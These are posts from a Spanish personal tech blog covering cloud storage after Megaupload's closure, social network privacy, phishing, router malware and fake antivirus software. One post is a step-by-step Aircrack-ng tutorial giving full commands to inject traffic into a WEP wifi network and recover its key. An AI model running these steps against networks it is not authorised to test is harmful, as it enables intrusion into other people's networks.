viernes, 20 de enero de 2012

La fragilidad de los Sistemas Operativos por Cloud Computing

Ayer mismo se echó el cierre (no se sabe si temporal o no, probablemente no) de Megaupload, el mayor servicio de almacenamiento en la nube, llevado a cabo por el FBI con supuesta piratería y conspiración contra el copyright.


Esto me da que pensar sobre la Cloud Computing, la "moda" y la búsqueda de tener almacenado todo tu sistema operativo así como tus datos personales para tenerlos disponibles en cualquier parte.

Visto la mano larga del gobierno estadounidense para cerrar servidores sin problemas:
¿Qué empresa nos dará la seguridad de guardar nuestra música, imágenes o películas en sus servidores?

¿Quién nos asegura que no perderemos todo para siempre por una orden de algún país?

¿Y quién nos indemnizaría por ello? Esta última pregunta nos la hacemos ahora mismo los miles de usuarios de Megaupload, donde confiábamos tener a buen recaudo nuestras copias de seguridad de archivos, las cuales somos totalmente libres de compartir.



Otro aspecto a analizar es la confidencialidad de nuestros datos. ¿Por qué tienen que analizarlos en busca de contenido con copyright? Ya sean personas analizándolos uno por uno o bots, mis archivos personales precisamente son eso, personales y nadie debería poder analizarlos y/o borrarlos sin mi permiso.

Ahora mismo la Cloud Computing no me da ninguna seguridad y esto es un gran paso atrás para las empresas que lo desarrollan, puesto que su fiabilidad se ve gravemente afectada por sucesos como este.

sábado, 18 de junio de 2011

Las Redes Sociales y sus riesgos (II)

Como ya sabemos, existe gran diversidad de redes sociales, cada cual tiene sus aspectos positivos y negativos (que casi nunca valoramos, centrándonos en el número de amigos que están en ella).

La privacidad en una red social es algo muy importante, desde elegir quién ve tus fotos, datos y demás dentro de ella, hasta quién o qué es capaz de visualizarlo desde fuera.

Es el caso de Facebook, cuya configuración de privacidad es de las mejores que conozco y cada cierto tiempo incluye novedades que la mejoran; siempre y cuando sepas utilizarla.
Porque el problema de Facebook es su configuración por defecto (sin cambios por parte del usuario) de la privacidad. Si no realizas cambios en ella, tu perfil es 100% público [fotos, videos, datos ... al alcance de cualquiera]. Ahora un nuevo sistema de reconocimiento facial para tus fotos autoetiqueta a tus amigos si es que no lo desactivas, algo útil si, pero peligroso a la vez.


Y el mayor problema que a mi parecer existe, es la indexación de datos por buscadores como Google como imaginareis, activada por defecto.
¿Y qué implica esto? Pues que estás permitiendo a Google rebuscar en tu información, tus fotos, videos, etc y estos pasarán a formar parte de sus resultados de búsqueda.
Solo teneis que probar a buscar vuestro nombre en Google (quién no lo ha hecho alguna vez) y ver resultados, si teneis Facebook en especial buscad imágenes pues es probable que vuestra foto principal esté en esa sección.

No olvideis cada vez que creeis un perfil nuevo en una red social de configurar a vuestro gusto las opciones de privacidad, puesto que si no lo haceis dejareis en manos de la propia red social cómo distribuir vuestros datos.

viernes, 20 de mayo de 2011

Las Redes Sociales y sus riesgos (I)

Actualmente el mundo se mueve en torno a las redes sociales. El nombre de "red" hace referencia a que interconecta entre si varios puntos (personas), como una tela de araña donde cientos de miles de puntos se conectan. En este caso, una persona conecta directa o indirectamente varios cientos más, y estos a su vez otros cientos...

Hace pocos años el método más fácil de distribución para por ejemplo virus o publicidad, era el correo electrónico, correos en cadena que eran distribuidos entre millones de personas en los que se podían incluir enlaces, listas de correo registradas, sitios web peligrosos, publicidad engañosa, timos, etc. Estos métodos ya "pasados de moda", cada vez mejor filtrados por los sistemas antispam, se han renovado desplazandose a las Redes Sociales.

Hace poco estaba metido en facebook cuando un viejo amigo, con el que ya entablo poca conversación me dijo a través del chat:
"- Ey! Mira esta foto tuya que acabo de ver! :/
 - www.facebok.co.ly/(numeros de foto imitando url real)"

Al principio no me di cuenta de la dirección tan extraña, pero sospeché debido a que esa persona hablara de esa forma y cuándo me paré a mirar el dominio: ".co.ly"?.

Gracias a que utilizo una distribución Linux, me gusta abrir esas páginas (sin tanto miedo como si estuviera en un Windows) para comprobar qué me envían o con qué y desde dónde han podido ser infectados. Esa página extraña me redirigió, muy lejos de ser una foto, a una página de "descarga e instala emoticonos para tu messenger!". ¿Instalar? Disculpa pero salvo desde el propio MSN, los emoticonos no se instalan según tengo entendido... Lo único que podías conseguir de esa página sería un pishing en toda regla, a parte de convertirte en un spammer de primera vía tuenti/facebook/messenger/hotmail.



Aunque las web de redes sociales incorporan medidas de seguridad para evitar estos casos (vease captura de tuenti), es MUY difícil controlar estos ataques, ya que realmente no se puede distinguir si es una persona real o un bot controlando su cuenta salvo que haya cierto número de denucias hacia esa cuenta que confirmen su uso indebido, cuando se realiza la cancelación de dicha cuenta.

Obviamente este es un nuevo método de spam, que cada vez será más común entre el usuario medio-bajo (y no tan bajo...), siendo la mejor solución avisar al propio contacto del problema que sufre y sugiriendole una solución, desde un antivirus hasta una limpieza intensiva y cambio de contraseñas. Y por supuesto, evitar sitios web sospechosos y aplicaciones cuyo autor o función desconocemos.


domingo, 13 de marzo de 2011

Detectados ataques en routers Linux

Especialistas en seguridad han detectado frecuentes ataques con malware a routers cuyo sistema cargado es Linux.
Todo se inicia con una infección de algún equipo que forma parte de la red, el malware de, bautizado como "ELF-Tsunami-R", deposita un archivo en formato 'ELF' en el ordenador infectado, y lleva a cabo un ataque de fuerza bruta para obtener el user y pass del router.
Aun no ha sido desarrollada ninguna aplicación que solucione o parchee el efecto del virus, métodos de prevención como cambiar la pass que viene por defecto en el router e instalar un cortafuegos entre el equipo y el router pueden ser muy eficientes.

Aunque a día de hoy, el malware solo se ha difundido por Latinoamérica, pero teniendo en cuenta la facilidad de difusión de este tipo de virus, no tardará en llegar a Europa y Norteamérica.

domingo, 23 de enero de 2011

Tutorial Aircrack-ng en Linux en 7 pasos

Antes de nada, dejar claro que esta publicación es totalmente informativa, el uso indebido o ilegal de estos conocimientos es responsabilidad del usuario que los utiliza para esos fines.

Creo que sobran explicaciones sobre este programa, utilizado para comprobar la seguridad de redes wireless (wi-fi).
En este tutorial os explicaré en unos breves pasos como utilizar Aircrack-ng bajo linux para desencriptar cifrados WEP (el más habitual).
Recomendación: Usar un adaptador wifi con chip atheros o realtek compatible con inyección de paquetes.

Primer paso, con nuestro linux abrimos un terminal e iniciamos sesión como usuario root o superusuario [su].
Leyenda:
Negrita y cursiva: Comandos de aircrack.
Negrita, cursiva y subrayado: Parámetros de los comandos que dependen del usuario y su configuración o red en la que está probando, los de este tutorial son ejemplos y el usuario debe indicar los suyos.

[Si no tienes instalado aircrack: apt-get install aircrack-ng]

Paso 1:
airmon-ng

Esto te indica cual son tus tarjetas inalámbricas conectadas a tu PC (wlan0, wlan1, etc). Vamos a usar como ejemplo wlan1, pero recuerda que probablemente tú tengas otro nombre.

Paso 2:
airmon-ng start wlan1

Con este paso activamos el modo monitor para tu tarjeta de red. Te saldrá algo así como "Modo monitor activado (mon0 ó mon 1). En este caso pondremos mon0 (insisto, es un ejemplo, tú tienes que poner lo que te indique el terminal).

Paso 3:
airodump-ng mon0

Con este comando conseguimos un listado de redes inalámbricas a nuestro alcance y datos sobre ellas. Os explico cada uno por separado.

  • BSSID: MAC del router cuya señal cogemos.
  • PWR: Potencia de la señal (procurad que no sea muy baja).
  • CH: Canal en que se encuentra la red.
  • ENC: Cifrado que utiliza la clave del router, os recuerdo que este tutorial solo os sirve para claves WEP.
  • ESSID: Nombre de la red.
  • Beacons y data los dejamos para luego.

Perdido? Bueno, pongamos un ejemplo que vamos a utilizar para la explicación de los últimos pasos.
Tengamos en cuenta que ya hemos realizado los pasos anteriores.
Ejemplo:
- La MAC de nuestro adaptador wifi es: 11:22:33:44:55:66 y con el modo monitor activado su nombre es 'mon0' (recordad el paso 2).
- El BSSID del router al que queremos acceder es: 77:88:99:11:22:33
- El canal (CH) en el que se encuentra es: 9
- Su SSID es: WLAN_7

Paso 4:
 airodump-ng -c 9 -w probando1 --bssid 77:88:99:11:22:33 mon0

Explicación:
-c "9", el número es el CH (canal) de la red.
-w "probando1", probando1 es el nombre que he elegido para esta prueba, se usa para nombrar los paquetes que captures (cambialo cada vez que lo intentes con redes distintas, prueba1, prueba2. Una para cada red). Por defecto se guardan en el directorio raíz del usuario.
--bssid "77:88:99..etc", aquí indicamos el bssid de la red.

A partir de ahora veremos como donde dice DATA, irá aumentando en número. Son los paquetes que capturas de esa red. Si no captura es que no hay ningún PC conectado vía wifi a ese router.
Para poder desencriptar necesitarás mínimo 20.000, que sin generar tráfico podría llevarte mucho tiempo...
En caso de no haber tráfico, lo inyectaremos nosotros.

Paso 5:
Abre un nuevo terminal, inicia sesión de nuevo como su o root. NO CIERRES EL ANTERIOR TERMINAL.
 aireplay-ng -1 0 -a 77:88:99:11:22:33 -h 11:22:33:44:55:66 -e WLAN_7 mon0

Explicación:
-a "77:88:99...etc" Es el BSSID de la red.
-h "11:22:33...etc" Es la MAC de nuestra tarjeta inalámbrica.
-e "WLAN_7" Es el nombre de la red.

Con este comando pretendemos asociarnos al router, para que, por así decirlo, acepte los paquetes que vamos a inyectar. Cuando estemos asociados el resultado del comando será algo como: conection succesfull :).
En caso de no asociarnos el resultado sera 'unsuccesful', los motivos pueden ser varios, que la red este lejos, el router tiene seguridad contra este tipo de técnicas o que tu tarjeta de red no es compatible con la inyección de paquetes.
Sigamos con la inyección, una vez asociados por supuesto.

Paso 6:
 aireplay-ng -3 -b 77:88:99:11:22:33 -h 11:22:33:44:55:66 mon0

Explicación:
-b "77:88:99..etc", es el bssid de la red.
-h "11:22:33...etc", es la MAC de nuestro adaptador.

Con este paso conseguimos la inyección de paquetes, veras en el otro terminal, donde realizaste el paso 4 que los DATA van subiendo muy rápido. Eso indica que estamos inyectando tráfico con éxito.
Cuando llegue a los 20.000 o más (si inyecta en condiciones no tardarás mas de 10 minutos en tener 50.000 o más) procedemos al siguiente paso.

Es importante realizar el paso 5 y 6 a la vez (en distinto terminal).

Paso 7:
Abre otro terminal, sin cerrar los anteriores para seguir capturando tráfico, inicia sesión como su o root de nuevo.

aircrack-ng *.cap

O también puedes usar con el nombre que pusiste en un principio. Aunque te recomiendo mejor el anterior y te dejará elegir entre todas las que has intentado.

aircrack-ng probando1.cap

Si todo ha ido bien, te mostrará una serie de números y en la parte inferior una indicación de:
KEY FOUND [ números y letras separados por 2 puntos]
Los números y letras (sin los ':') es la clave.
Ejemplo:
KEY FOUND [1a:2b:3c:4d:5e:6f]
La clave sería:   1a2b3c4d5e6f





Espero que este tutorial os haya servido. Cualquier error o duda me lo podeis comunicar por comentarios o email! Saludos!

Fake Antivirus [Rogue/Falsos]

Hoy vamos a hablar de los falsos antivirus, se trata de aplicaciones maliciosas que fingen ser antivirus (en principio gratuitos) pero que una vez instalados se autoinician, y generalmente, no permiten realizar ninguna acción [instalar/des-instalar, ejecutar aplicaciones, ejecutar antivirus real].
Es fácil reconocerlos, son mas bien molestos y continuamente avisan que estamos infectados por cientos de gusanos y troyanos (Personalmente he llegado a ver hasta un desfragmentador de disco duro falso).

Esto, normalmente tendría fácil solución, entrar en modo seguro y des-instalarlo.
Obviamente no es tan sencillo. Pensad que, aun en modo seguro, realizamos la ejecución de muchas aplicaciones y servicios en segundo plano necesarios para windows, como el "explorer.exe". Estos 'rogue' tienen la cualidad de iniciarse en el momento que ejecutemos cualquier aplicación o servicio (no todos, otros puedes eliminar su ejecutable en modo seguro, pero son minoría).

Aquí teneis un par de capturas de los más habituales y el 'Antivirus 2009 (2010,2011)', que es de mis favoritos.



Por suerte siempre hay métodos para deshacernos de aplicaciones indeseadas como estas.
'Remove fake antivirus' es una aplicación excelente e incluye un listado con los rogue que elimina.
Link: http://www.softpedia.com/get/Antivirus/Remove-Fake-Antivirus.shtml
Listado: http://www.forospyware.com/t5.html

Bienvenidos a mi nuevo blog

Bienvenido a este nuevo blog, en él trataré sobre temas variados, centrándome sobre todo en software, seguridad e informática en general tanto a nivel usuario como a nivel profesional.

Los sistemas operativos en torno a los que hablaré son Windows (XP-Vista-7) y Linux (Ubuntu, que es la que yo utilizo con lo cual estoy más familiarizado).

Detallaré aspectos diarios, noticias recientes e importantes. Incluso alguna vez experiencias de mi vida como informático.

Espero que la información que publique sea lo suficientemente detallada y correcta, aun así, siempre pueden participar en comentarios (que siempre son agradecidos).

Un saludo.

Vicente Palomares.